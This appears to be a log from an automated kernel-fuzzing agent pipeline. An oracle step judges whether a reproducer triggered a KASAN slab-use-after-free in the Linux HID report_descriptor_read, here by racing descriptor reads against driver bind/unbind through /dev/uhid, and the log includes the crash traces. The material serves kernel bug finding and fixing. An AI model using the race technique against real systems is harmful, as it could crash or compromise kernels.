The buggy address belongs to the object at ffff88810a256880
which belongs to the cache kmalloc-96 of size 96
The buggy address is located 0 bytes inside of
freed 96-byte region [ffff88810a256880, ffff88810a2568e0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a256
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff888100041280 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 52, tgid 52 (kworker/u9:2), ts 4499508242, free_ts 0
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_node_noprof+0x465/0x6b0 mm/slub.c:5427
kmalloc_node_noprof include/linux/slab.h:1077 [inline]
__get_vm_area_node+0x13f/0x300 mm/vmalloc.c:3215
__vmalloc_node_range_noprof+0x36a/0x1750 mm/vmalloc.c:4024
__vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
alloc_thread_stack_node kernel/fork.c:357 [inline]
dup_task_struct+0x298/0x840 kernel/fork.c:926
copy_process+0x89b/0x4440 kernel/fork.c:2090
kernel_clone+0x284/0x8f0 kernel/fork.c:2721
user_mode_thread+0x110/0x180 kernel/fork.c:2797
call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
page_owner free stack trace missing
Memory state around the buggy address:
ffff88810a256780: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256800: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
>ffff88810a256880: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
^
ffff88810a256900: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256980: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
==================================================================
TruncatedStraceOutput:]
|
| 232/3 |
2026/05/19 10:23 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The reproducer successfully triggered the expected KASAN slab-use-after-free in `report_descriptor_read`. The crash report matches the bug description perfectly, confirming that the race condition between reading the report descriptor and unbinding the device was successfully hit. TitleMatches:true]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.
The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.
If the output indicates that this was a successful probe execution (all probes passed),
set Reproduced to false but provide feedback indicating that the environment is ready
and the agent should now proceed to generate the full reproducer in the next iteration.
If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: slab-use-after-free Read in report_descriptor_read
==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 36 at addr ffff888037dd9b80 by task fido_id/24047
CPU: 0 UID: 0 PID: 24047 Comm: fido_id Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_read+0x150/0x270 fs/read_write.c:717
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f1e05ca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007fff31799f60 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f1e0644b880 RCX: 00007f1e05ca7407
RDX: 0000000000001000 RSI: 00007fff31799fb0 RDI: 0000000000000004
RBP: 0000563577cf9730 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000563577cf8930
R13: 00007fff31799fb0 R14: 0000000000000004 R15: 00005635507dc4d8
</TASK>
Allocated by task 19335:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
hid_add_device+0x272/0x3e0 drivers/hid/hid-core.c:3003
usbhid_probe+0xbab/0x1080 drivers/hid/usbhid/hid-core.c:1449
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_set_configuration+0x1a87/0x2110 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
usb_probe_device+0x1c4/0x3b0 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_new_device+0xa08/0x16f0 drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x2a1c/0x4f30 drivers/usb/core/hub.c:5953
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff888037dd9b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes inside of
freed 64-byte region [ffff888037dd9b80, ffff888037dd9bc0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37dd9
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fe1a8c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 13665, tgid 13665 (kworker/1:7), ts 1105362433588, free_ts 1105289461309
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_noprof+0x392/0x660 mm/slub.c:5414
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
ath6kl_usb_alloc_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:193 [inline]
ath6kl_usb_setup_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:406 [inline]
ath6kl_usb_create drivers/net/wireless/ath/ath6kl/usb.c:670 [inline]
ath6kl_usb_probe+0xdba/0x15a0 drivers/net/wireless/ath/ath6kl/usb.c:1143
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
page last free pid 23 tgid 23 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__tlb_remove_table_free mm/mmu_gather.c:228 [inline]
tlb_remove_table_rcu+0x85/0x100 mm/mmu_gather.c:291
rcu_do_batch kernel/rcu/tree.c:2617 [inline]
rcu_core+0x7cd/0x1070 kernel/rcu/tree.c:2869
handle_softirqs+0x22a/0x840 kernel/softirq.c:622
run_ksoftirqd+0x36/0x60 kernel/softirq.c:1076
smpboot_thread_fn+0x541/0xa50 kernel/smpboot.c:160
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff888037dd9a80: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc
ffff888037dd9b00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
>ffff888037dd9b80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
^
ffff888037dd9c00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888037dd9c80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
==================================================================
Reproduced: false
Console Output: Warning: Permanently added '[localhost]:4152' (ED25519) to the list of known hosts.
[+] Opened /dev/uhid successfully.
[ 69.193370][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.195575][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.197678][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[+] Created uhid device 0 successfully.
[+] Found device name: 0003:05AC:0304.0001
[+] Successfully opened bind and unbind files for driver apple.
[+] Using driver apple with device 0003:05AC:0304.0001
[ 69.202527][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[+] Opened report_descriptor successfully.
[ 69.219730][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[+] Created read threads.
[+] Created bind thread.
[+] Waiting for 10 seconds to trigger race...
[ 69.222886][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.228506][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.233905][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.240813][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.247765][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.261712][ T60] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.290857][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.312408][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.340696][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.348961][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.367822][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.386910][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.407073][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.424695][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.441630][ T5887] ==================================================================
[ 69.444223][ T5887] BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100
[ 69.446722][ T5887] Read of size 85 at addr ffff88810a256880 by task syz-executor422/5887
[ 69.449837][ T5887]
[ 69.450595][ T5887] CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
[ 69.450605][ T5887] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 69.450609][ T5887] Call Trace:
[ 69.450613][ T5887] <TASK>
[ 69.450617][ T5887] dump_stack_lvl+0xe8/0x150
[ 69.450627][ T5887] print_address_description+0x55/0x1e0
[ 69.450635][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.450642][ T5887] print_report+0x58/0x70
[ 69.450648][ T5887] kasan_report+0x117/0x150
[ 69.450665][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.450672][ T5887] kasan_check_range+0x264/0x2c0
[ 69.450678][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.450685][ T5887] __asan_memcpy+0x29/0x70
[ 69.450693][ T5887] report_descriptor_read+0xb5/0x100
[ 69.450700][ T5887] ? __pfx_sysfs_kf_bin_read+0x10/0x10
[ 69.450709][ T5887] kernfs_fop_read_iter+0x451/0x6b0
[ 69.450717][ T5887] vfs_read+0x582/0xa70
[ 69.450727][ T5887] ? __pfx_vfs_read+0x10/0x10
[ 69.450737][ T5887] ? __fget_files+0x2a/0x420
[ 69.450746][ T5887] __x64_sys_pread64+0x199/0x230
[ 69.450756][ T5887] ? __pfx___x64_sys_pread64+0x10/0x10
[ 69.450767][ T5887] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.450774][ T5887] do_syscall_64+0x15f/0xf80
[ 69.450784][ T5887] ? trace_irq_disable+0x3b/0x140
[ 69.450794][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.450801][ T5887] RIP: 0033:0x7f9bac0c499e
[ 69.450808][ T5887] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 69.450814][ T5887] RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
[ 69.450822][ T5887] RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
[ 69.450827][ T5887] RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
[ 69.450831][ T5887] RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
[ 69.450835][ T5887] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 69.450840][ T5887] R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
[ 69.450847][ T5887] </TASK>
[ 69.450849][ T5887]
[ 69.518589][ T5887] Allocated by task 5888:
[ 69.520119][ T5887] kasan_save_track+0x3e/0x80
[ 69.521718][ T5887] __kasan_kmalloc+0x93/0xb0
[ 69.523281][ T5887] __kmalloc_node_track_caller_noprof+0x4db/0x7b0
[ 69.525699][ T5887] kmemdup_noprof+0x2b/0x70
[ 69.527466][ T5887] hid_open_report+0x1f7/0xf00
[ 69.529088][ T5887] apple_probe+0xef/0x10b0
[ 69.530538][ T5887] hid_device_probe+0x416/0x7a0
[ 69.532074][ T5887] really_probe+0x267/0xaf0
[ 69.533555][ T5887] __driver_probe_device+0x1ef/0x380
[ 69.535218][ T5887] device_driver_attach+0xe0/0x1d0
[ 69.536811][ T5887] bind_store+0x1d0/0x220
[ 69.538200][ T5887] kernfs_fop_write_iter+0x3af/0x540
[ 69.539834][ T5887] vfs_write+0x61d/0xb90
[ 69.541140][ T5887] ksys_write+0x150/0x270
[ 69.542535][ T5887] do_syscall_64+0x15f/0xf80
[ 69.543976][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.545807][ T5887]
[ 69.546555][ T5887] Freed by task 5888:
[ 69.547788][ T5887] kasan_save_track+0x3e/0x80
[ 69.549254][ T5887] kasan_save_free_info+0x46/0x50
[ 69.550807][ T5887] __kasan_slab_free+0x5c/0x80
[ 69.552352][ T5887] kfree+0x1c5/0x640
[ 69.553568][ T5887] hid_close_report+0x632/0x720
[ 69.555081][ T5887] hid_device_remove+0x259/0x370
[ 69.556607][ T5887] device_release_driver_internal+0x46f/0x870
[ 69.558495][ T5887] unbind_store+0x1a1/0x1d0
[ 69.559898][ T5887] kernfs_fop_write_iter+0x3af/0x540
[ 69.561523][ T5887] vfs_write+0x61d/0xb90
[ 69.562876][ T5887] ksys_write+0x150/0x270
[ 69.564225][ T5887] do_syscall_64+0x15f/0xf80
[ 69.565671][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.567488][ T5887]
[ 69.568260][ T5887] The buggy address belongs to the object at ffff88810a256880
[ 69.568260][ T5887] which belongs to the cache kmalloc-96 of size 96
[ 69.572486][ T5887] The buggy address is located 0 bytes inside of
[ 69.572486][ T5887] freed 96-byte region [ffff88810a256880, ffff88810a2568e0)
[ 69.576534][ T5887]
[ 69.577285][ T5887] The buggy address belongs to the physical page:
[ 69.579244][ T5887] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a256
[ 69.581912][ T5887] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 69.584130][ T5887] page_type: f5(slab)
[ 69.585376][ T5887] raw: 017ff00000000000 ffff888100041280 dead000000000100 dead000000000122
[ 69.588119][ T5887] raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
[ 69.590734][ T5887] page dumped because: kasan: bad access detected
[ 69.592707][ T5887] page_owner tracks the page as allocated
[ 69.594478][ T5887] page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 52, tgid 52 (kworker/u9:2), ts 4499508242, free_ts 0
[ 69.600335][ T5887] post_alloc_hook+0x231/0x280
[ 69.601820][ T5887] get_page_from_freelist+0x24ba/0x2540
[ 69.603591][ T5887] __alloc_frozen_pages_noprof+0x18d/0x380
[ 69.605391][ T5887] allocate_slab+0x77/0x660
[ 69.606797][ T5887] refill_objects+0x339/0x3d0
[ 69.608267][ T5887] __pcs_replace_empty_main+0x321/0x720
[ 69.609954][ T5887] __kmalloc_cache_node_noprof+0x465/0x6b0
[ 69.611748][ T5887] __get_vm_area_node+0x13f/0x300
[ 69.613334][ T5887] __vmalloc_node_range_noprof+0x36a/0x1750
[ 69.615136][ T5887] __vmalloc_node_noprof+0xc2/0x100
[ 69.616740][ T5887] dup_task_struct+0x298/0x840
[ 69.618217][ T5887] copy_process+0x89b/0x4440
[ 69.619638][ T5887] kernel_clone+0x284/0x8f0
[ 69.621042][ T5887] user_mode_thread+0x110/0x180
[ 69.622590][ T5887] call_usermodehelper_exec_work+0x5c/0x230
[ 69.624415][ T5887] process_scheduled_works+0xb5d/0x1860
[ 69.626108][ T5887] page_owner free stack trace missing
[ 69.627783][ T5887]
[ 69.628533][ T5887] Memory state around the buggy address:
[ 69.630263][ T5887] ffff88810a256780: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.632737][ T5887] ffff88810a256800: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.635183][ T5887] >ffff88810a256880: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.637630][ T5887] ^
[ 69.638885][ T5887] ffff88810a256900: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.641334][ T5887] ffff88810a256980: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.643817][ T5887] ==================================================================
[ 69.650641][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.654242][ T5887] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 69.656496][ T5887] CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
[ 69.659426][ T5887] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 69.662548][ T5887] Call Trace:
[ 69.663610][ T5887] <TASK>
[ 69.664533][ T5887] vpanic+0x56c/0xa60
[ 69.665784][ T5887] ? __pfx_vpanic+0x10/0x10
[ 69.667189][ T5887] ? __pfx___schedule+0x10/0x10
[ 69.668691][ T5887] panic+0xc5/0xd0
[ 69.669853][ T5887] ? __pfx_panic+0x10/0x10
[ 69.671237][ T5887] ? preempt_schedule_thunk+0x16/0x30
[ 69.672913][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.674591][ T5887] check_panic_on_warn+0x89/0xb0
[ 69.676115][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.677790][ T5887] end_report+0x73/0x170
[ 69.679110][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.680788][ T5887] kasan_report+0x128/0x150
[ 69.682199][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.683913][ T5887] kasan_check_range+0x264/0x2c0
[ 69.685472][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.687183][ T5887] __asan_memcpy+0x29/0x70
[ 69.688568][ T5887] report_descriptor_read+0xb5/0x100
[ 69.690213][ T5887] ? __pfx_sysfs_kf_bin_read+0x10/0x10
[ 69.691880][ T5887] kernfs_fop_read_iter+0x451/0x6b0
[ 69.693497][ T5887] vfs_read+0x582/0xa70
[ 69.694785][ T5887] ? __pfx_vfs_read+0x10/0x10
[ 69.696237][ T5887] ? __fget_files+0x2a/0x420
[ 69.697821][ T5887] __x64_sys_pread64+0x199/0x230
[ 69.699401][ T5887] ? __pfx___x64_sys_pread64+0x10/0x10
[ 69.701084][ T5887] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.703046][ T5887] do_syscall_64+0x15f/0xf80
[ 69.704524][ T5887] ? trace_irq_disable+0x3b/0x140
[ 69.706094][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.707929][ T5887] RIP: 0033:0x7f9bac0c499e
[ 69.709331][ T5887] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 69.715256][ T5887] RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
[ 69.717814][ T5887] RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
[ 69.720242][ T5887] RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
[ 69.722733][ T5887] RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
[ 69.725141][ T5887] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 69.727580][ T5887] R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
[ 69.730036][ T5887] </TASK>
[ 69.731656][ T5887] Kernel Offset: disabled
[ 69.733022][ T5887] Rebooting in 86400 seconds..
Strace Output:
Crash Report: ==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 85 at addr ffff88810a256880 by task syz-executor422/5887
CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_pread64 fs/read_write.c:765 [inline]
__do_sys_pread64 fs/read_write.c:773 [inline]
__se_sys_pread64 fs/read_write.c:770 [inline]
__x64_sys_pread64+0x199/0x230 fs/read_write.c:770
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f9bac0c499e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
